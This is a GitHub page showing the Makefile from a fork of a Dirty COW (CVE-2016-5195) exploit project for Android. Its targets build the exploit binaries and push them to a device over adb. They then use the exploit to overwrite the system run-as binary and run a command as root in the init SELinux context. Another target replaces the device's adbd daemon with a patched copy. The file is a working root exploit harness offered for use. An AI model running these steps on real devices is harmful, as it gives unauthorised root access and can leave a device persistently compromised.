forked from timwr/CVE-2016-5195
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMakefile
33 lines (26 loc) · 1.17 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#export PATH=$PATH:/media/kay/4082bd8d-0f54-444e-a97f-aa84565641a1/android-ndk-r13b
arch = $(shell adb shell getprop ro.product.cpu.abi)
#arch = armeabi-v7a
# choose platform https://developer.android.com/ndk/guides/stable_apis.html#purpose
# https://source.android.com/source/build-numbers.html
platform = android-22
libselinux = $(shell dirname `which ndk-build`)/platforms/$(platform)/arch-arm/usr/lib/libselinux.so
all: build
build:
test -f $(libselinux) || adb pull /system/lib/libselinux.so $(libselinux)
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=$(platform) TARGET_ARCH_ABI=$(arch)
push: build
adb push libs/$(arch)/dirtycow /data/local/tmp/dirtycow
adb push libs/$(arch)/run-as /data/local/tmp/run-as
adb push libs/$(arch)/run /data/local/tmp/run
#run: push
run:
adb shell 'chmod 777 /data/local/tmp/dirtycow /data/local/tmp/run-as /data/local/tmp/run'
adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
adb shell /system/bin/run-as /data/local/tmp/run -u root -c u:r:init:s0 id
adb: run
adb shell run-as /data/local/tmp/dirtycow /sbin/adbd /data/local/tmp/adbd.patched
root: push run
clean:
rm -rf libs
rm -rf obj